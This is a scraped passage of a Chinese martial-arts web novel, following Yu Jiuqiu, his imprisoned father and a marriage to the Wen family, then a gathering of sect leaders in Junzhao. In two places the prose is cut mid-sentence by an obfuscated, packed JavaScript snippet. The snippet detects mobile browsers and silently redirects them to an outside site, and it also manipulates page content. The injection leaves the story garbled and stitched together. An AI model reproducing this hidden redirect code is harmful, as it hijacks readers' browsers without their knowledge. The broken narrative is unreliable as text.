喻九秋在听到自己的父亲被人硬生生囚禁五年时,身上杀意顿起。怪不得刚开始父亲离家还有书信寄回,会对自己和哥哥嘘寒问暖,后面就音讯全无,原来那时他就已经身陷囹圄。 喻九秋问出了自从在那暗室里发现他,就一直萦绕在心中的问题:“父亲可知是受何人所囚?” 彼时的“松云客”纵是整日沉溺在酒气中,那持剑拿扇的手也不应该被人轻易制住。 喻典摇了摇头,神情凝重:“那日来者不下十人,且都是一等一的好手,以至于后面一个不察就遭了他们的暗算。” 喻九秋刻意不问他被囚禁的五年里到底受到了什么非人的折磨,以免触及他痛苦的记忆,毕竟他那累累伤痕看着是如此地触目惊心。 “那父亲可还记得这封信?”喻九秋将一封已经被攥得泛皱的信从怀里拿出来,递到他的手上。 喻典只是看了一眼,甚至没有看信的内容,就反手将信压在了手掌下方,点头道:“是我写的。” 喻九秋诧异地看着自己的父亲,眼中满是不解:“父亲不看怎知信中所写为何事?” 喻典听后淡笑了一下,眼中满是慈爱:“为父还不了解你吗,能让你露出如此为难的神情,怕是只有那一桩事了。” 喻九秋犹疑道:“……父亲写这封信时可是受人胁迫?” 喻典斩钉截铁道:“不曾。” “……” 喻九秋盯着被他压在手掌下方,仍旧露出来一部分的信笺,沉默不语。 喻典看着他默不作声,心中明白他的不甘愿,怅然道:“若你实在不愿,那这婚事就此作罢吧,明日我就将萱丫头叫来同她说。” 喻九秋听出了他仍带着试探的语气,无声地看了窗外半刻,最后低声道:“容我想一下。” 喻典听他如此说,连忙应下,答应给他一段考虑的时间。他面上虽没有什么表现,但眼里却有了几分笑意,他了解喻九秋的性格,既然他没有拒绝,那就说明这婚事八成是定了。 刚遭过水灾的涉州城内虽然不复前日的热闹,但家家户户都在认真地打扫、晾晒,倒别有一番生活气息。 喻九秋走出客栈,长长呼出了在室内憋闷了很久的一口气。他看着街上有条不紊地干着自己手中事情的百姓,脚步一转,往医馆的方向走去。 春和堂内正在埋头写药方的大夫忽觉眼前一暗,抬头就见到前不久那对相貌有几分相似的父子中,那位气质不凡的公子正站在自己面前。 “公子,令尊的药和药方都已经给了同我而来的那个侍卫。” 喻九秋摇头道:“我知道,但我这次来,是想请大夫重新将那个药方再写一遍给我。” 大夫纳闷地看了他一眼,心中虽有不解,但还是重新拿了一张纸,提笔写下了先前开的药方。等他放下笔,将药方递给面前这位公子时,见他似乎是在想别的事入了神,便出声提醒他:“公子?” 喻九秋回神,看了眼墨迹还未干的药方,并没有伸手去接,只是盯着他,问:“大夫可有别的话对我说的?” 那位大夫听他如此问,犹疑了一瞬,还是摇了摇头。 “真是怪了……” “瞎嘀咕什么呢!什么怪了?”刚从后院抱出来一筐药草的老板见自家夫君在望着外面瞎念叨,上前轻踢了下桌腿。 大夫回头,见她抱着一大筐要及人高的药草,赶紧站起来接过,放到正在配药的药童身边:“半个时辰前不是出了次诊吗,那伤者虽然表面上看着伤势骇人,但内里却是气血充盈、元气旺盛,可偏偏却是一副垂死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我看未必。” 陈暖看着突然被人拦下的孙文州,知道自己要等的人已来,便朝站在自己一左一右的一男一女道:“走吧,有地方住了。” 殷文秀纳闷地看了眼一直默不作声的宋狂,见他依旧一副沉默寡言的模样,原本好奇想问他的话硬是咽回了肚子里,立刻牵马跟上陈暖的脚步。 “阿暖,你怎么知道他会带着我们找住的地方?”殷文秀看着前面领路的人,悄悄问走在身侧的陈暖。 “那当然是……”陈暖看着她圆圆的眼睛满是好奇的样子,不禁想逗她,“……我神机妙算。” 殷文秀伸手虚打了她一下:“你又逗我!” 陈暖笑了笑,看着前方引路的人和走在前面的孙文州与宋狂,道:“因为那个领路的人,在我们进城的时候,就盯了我们一路了。” 殷文秀也看着前方,恍然大悟道:“是因为宋师兄!” 陈暖没有回殷文秀的话,只是嘴边带着淡淡的笑意,望着前方三人的目光却逐渐转冷。 确实有一点原因是因为宋狂,但那领路之人真正想见的人其实是最前面的孙文州。 “大人——” 梁声风尘仆仆地进屋,先是猛灌了一口茶,然后呈给许和意一封信:“上京城急报。” 许和意从书案中抬头,心中顿时有了不妙的预感。 29. 一触即发 许和意自从读完那封信,让人把周庚云叫来后,就一直一言不发,只是盯着被他随手放在案几上的信。 梁声看了眼站了有一会儿的周庚云,见他一头雾水无声地冲自己张开嘴巴:怎么回事? 梁声微微摇头,也无声地回答他:我不知道。 “直接拿去看吧。”许和意早早就注意到他们两个人的小动作,扬了扬下巴道。 梁声立即大跨一步上前,将书案上的信拿起来看,顺便把信往刚凑过来的周庚云那边移了移。 “大人,这……”梁声话还没说完,就被周庚云抢了先。 “这算什么?涉州城内情况不明,明摆着那些人最近要有大动作,怎么能这个时候要大人抽身去巴蕴?再说,那地界不是有谢家在管吗?” 梁声见周庚云噼里啪啦嘴快一通说,又恰好说出了心中所想,只好在旁边跟着点头附和。 “而且那边不是还有梁无……”梁声立刻止住了自己下意识脱口而出的话,偷偷觑了眼座上的人。 周庚云经梁声这么一说,顿时想明白了为什么此次需要许和意亲自去镇压那群恶匪。 百清堂虽在黎国的二十九州都设了分堂,但是碍于人手原因,堂内一等高手都只在九大州的主城内坐镇,临近州内若有棘手的事情,则机动处理。九大州内其余下辖的分州由百清卫和一城二司负责监管和守护。有的时候州内有声望或者有能力的大家族,如涉州城的温家、巴蕴州永城的谢家等,必要时也需要从旁协助,共同维护城镇安定。 巴蕴州内偌大的地界,山脉绵延,地势也多奇险,怕是神仙来了也要迷路,因此坐镇之人需远程、近战皆精通,还要熟谙斥候之术。可自从梁无思受伤暂时退出,巴蕴那边的百清堂至今尚未遴选出合适的能手坐镇。 许和意抬头问周庚云:“可有查到崔书雪的行踪?” 周庚云皱眉抱怨:“这厮简直跟泥鳅似得难抓,四处乱窜。不过据各方传来的消息判断,这两日他在君赵城内有活动的踪迹。” “君赵?”许和意诧异,“他在那干什么?” 虽说涉州城内如今只进不出,进来的人都需要接受盘查,城内各处暗道的出入口也都有人把守,但凭借他的能力和温家的势力,区区一个城墙说什么也挡不了他。 “属下已经派人去查了,也派人盯住了。” 许和意点头,又问:“温家那边呢?” “巧了,这个我知道!我回来的时候刚好从温家那边路过。”梁声连忙抢话,语气中难掩说八卦的兴奋之情,“温家正在张罗着三日后的婚宴,那场面叫一个热闹,御景园的珠宝首饰是一箱一箱往里面抬。” 许和意蹙眉,心中虽然有了猜想,但还是问:“谁成婚?” “这么大阵仗,就只能有那位温大小姐了。” 许和意听后站起身往外走,对他们二人说:“若有事,来御景园找我。” 梁声指着桌上无人问津的信,望着许和意快要消失在眼前的背影,大声问道:“大人,那这信……” 周庚云听着他聒噪的声音,掏了掏耳朵,嫌弃道:“别喊了,又不是没经历过这样的事,大人这态度你还不明白吗?冷个一两日,那边自然会派别的人去。” 梁声想了想,耸了耸肩。 也是,官员都尚有休沐的日子,自家大人自打来了这涉州城,可是一日都不曾休息过,这边的事都还没了结呢,哪还能抽出精力去走一趟巴蕴。 不过话说回来,要是自家大人不去,怕是那弹劾的折子又会如雪花般飞进宫中…… 忙碌的许和意刚走进御景园,就看到纪灵正从楼上下来,二人目光对视了一下,又不约而同地往楼上走去。 纪灵见他关上门,先开口:“正想着去找大人。” “纪姑娘私下不必这么喊我。”许和意给自己倒茶的时候也给纪灵倒了一杯,开口问她,“喻兄来找过你?” 纪灵点头,从话本下拿出一张被压着的纸,递给他:“他匆忙过来给了我这张药方后就走了,让我和你看看有没有什么问题。我看了这药方,里面都是些强身健体的滋补药材,没什么问题。” 许和意摩挲着手中的药方,陷入沉思—— 药方没有问题,才是最大的问题。 他给喻典喂的那颗药丸尽管是用天材地宝制成的,能给重伤之人吊一口气,但还没有神奇到能治愈内伤的程度。 纪灵听许和意讲完那药丸的功效后,又从他手中将那张药方拿过来从头到尾仔细看了一下,随后抬头看他,待看到对方点头确认后,纪灵就陷入了良久的沉默。 许和意本以为喻九秋会在纪灵这里,但如今看来,这喻家与温家的婚事,当真是“松云客”在撮合。可喻九秋明明心有疑窦,又为什么会答应这门婚事呢?毕竟他表面看着一副规矩有礼的样子,实际可不像是听人安排的主。 “陈姑娘呢?” 平常屋内的桌上一般会放着两盏茶杯,但今日他观察桌上只放着一盏,想必今早他们分离后她就急匆匆又出去了,要不然不至于连喝一口茶的时间都没有。 纪灵听到他突然转了话题,一时之间在想要不要告诉他陈暖的行踪。毕竟于公,他们二人身份对立,对崔书雪的下场持有不同的意见;于私,此一行陈暖处境有点过于危险,若有人能在关键时刻救她性命也未尝不可…… 纪灵给许和意添了杯茶,笑道:“许大哥就别为难我了,你知道我是不会说的。” 但无论如何,若代入陈暖的处境,想必自己也会选择亲手为下君来村的人报仇。 许和意乍一听她这般叫自己,还愣了一瞬有些不适应,毕竟许久没体会过这种不带疏离感的称呼了。听到她所说内容,许和意不禁淡笑了下,一口饮尽她刚才倒满的茶水,起身道:“那我就先告辞了。” 纪灵看许和意将门带上,目光落在那药方上,再次将它压在话本下方后就出了御景园。 君赵城里的一条小巷内,相邻几户人家的大门敞开,时不时有穿着各式各样服饰的人来回进出,格外热闹。 引陈暖一行人来此地的人将孙文州与宋狂叫走后,就让她们稍候,然而她俩在这间房里等了有半盏茶的时间,都不见有人回来。 “到底是干什么去了,这茶再喝下去,饭都不用吃了!”殷文秀将杯子重重放下,抱怨道。 站在门口的陈暖正观察着其他房间,以及进出的人,在听到里面殷文秀的抱怨后,半回头对她道:“快了,再耐心等一会儿。” 殷文秀见她自从进了这座院子,就一直在东张西望,便走上前顺着她的目光往外望了望,除了一间间排列整齐的房间,就是来来往往的人,并没有什么特殊。 “阿暖,这不就是由闲置宅院改成的简易客栈吗,很多城里都有这种临时的居所,你到底在看什么?” 陈暖摇头:“没什么,无聊罢了。” 殷文秀认同地点了点头,那两人去了这么久,确实让她们俩在这等得好生无聊。 而被叫走的孙文州和宋狂正在陈暖视线中的其中一间屋内,等着最后一位来客落座。 “哎呦,劳烦诸位久等,来晚了,来晚了。” 一位风度翩翩、约莫三十岁上下的男子从左侧突然打开的墙壁中走出来,口中虽说着抱歉的话,但依旧四平八稳地坐到首座。 在座的众人似是对他如此出现的方式习以为常,足以可见这屋内暗藏的玄机彼此都心知肚明。 “周城主真是好大的架子,竟让我们在这干坐着等你。”孙文州见他如此不慌不忙,忍不住先对他冷嘲热讽。 “孙公子你这可就冤枉在下了。”周景林对着孙文州喊冤后,又看了看其他虽然没有说话,但都面带不满的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121917|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手轻拍了两下手掌,随后两个书童模样的少年,各端着一张漆盘从左侧还未合拢的墙壁内走出来。 屋内霎时无声。 周景林依次指着这两张漆盘,缓声道:“今日某之所以来这么晚,就是在等这两截神山衡。” “周城主好大的手笔!就是不知……这宝物是从何处所获?” 在座的人在漆盘端上来的时候,就目不转睛地看着,但面上却都较为平静,毕竟最近这段日子,他们基本都上过假神山衡的当。 周景林也明白他们的顾虑,索性坦白:“实不相瞒,这两截神山衡是喻家给温大小姐的娉礼。” “喻家?不是说那姓喻的小子是入赘的吗,家里怎么会有如此宝物?” “周城主,此物可为真?” 周景林笑了笑道:“诸位如今都是一条船上的人,且后面还要去涉州城内观礼,我也就不瞒着了……那位喻姓公子并非是普通人家的公子,而是那丰谷粮行真正的东家。” 此话一出,众人皆震惊不已。就连平日里脸上没有什么表情的宋狂听了这句话,都忍不住现出惊讶之色。 周景林满意地看着他们的反应,后面的话自然不必多说,这喻九秋的身份一放出来,就没人敢不信他手中的东西不是真的。 “所以,有了这两截神山衡,再加上温家已经获得的,及各位手中的,神山衡算是齐了!”周景林站起身,言辞中难掩激动,“所以这次温大小姐可是拿出了十足十的诚意,就在涉州城内恭候着诸位加入此局了。” 在座的众人皆是一些江湖门派中的翘楚,本来就是为这绝世的武林秘籍而来,在得知温家想要振兴江湖的宏愿时,仍旧有几分血性的他们自然一呼百应。原本他们还心存顾虑,如今这要与温凌萱成婚的男子身份一揭露,更是心中有了底气。 毕竟凭借着温家在江湖中的声望、再现世间的绝世秘籍“神山衡”以及喻家的财力,此事就没有不成的可能! “不是我给诸位泼冷水……”孙文州冷哼了一声,再次开口,“我可听说那涉州城内最近可是有那百清堂的杀神坐镇,别到时候反被他们活捉生擒了……” 周景林微笑地看着总是挑刺、泼冷水的孙文州,在心中早已经破口大骂归元殿怎么送来了个这么难缠的家伙。 “孙公子放心,对于此人,温大小姐早已经有了万全之策。再说……”周景林将目光从众人身上一一掠过,语气中满是笃定,“众人拾柴火焰高,我们岂会怕了城内那些不足百人的百清卫?没有了百清卫的从旁协助,那许和意就算是战神再世,怕也是只有束手就擒的份!” 这一番慷慨激昂的话语,让在场的众人都面露振奋之色。 要是陈暖见着此番情形,怕是要说一句:真是比霍秋霖还会忽悠人。 不过此时的陈暖还依旧站在门边,并没有移动一点脚步,直至她目光直直锁定住一个人。 那个人虽然身形高大,但相貌普通,属于进了人堆也难以找寻,此时他正与身边的人畅快交谈,似是丝毫没有察觉出有人正在目不转睛地盯着自己。 陈暖无声地勾了下嘴角,本该是清浅动人的梨涡,此时却好似盛满了化不开的刺骨寒意,连带着笑意都冷了几分。 殷文秀莫名打了个寒战,她从话本中抬头看着陈暖的背影,疑惑道:“阿暖?” 陈暖轻应了一声,然后转身对殷文秀说道:“我有事需要先走一步,你们不必等我。” 因着逆光的原因,殷文秀只能看到她柔和的轮廓,无法看清楚她的表情,但陈暖此时身上散发出的气势却令她心颤。原本还想再继续问她的话下意识也止住了,只是点了点头,莫名低声道: “一路小心。” “好,有缘再见。” 殷文秀听到她的这句话,立刻睁大了眼睛,快步上前,下意识伸出去的手却落了空。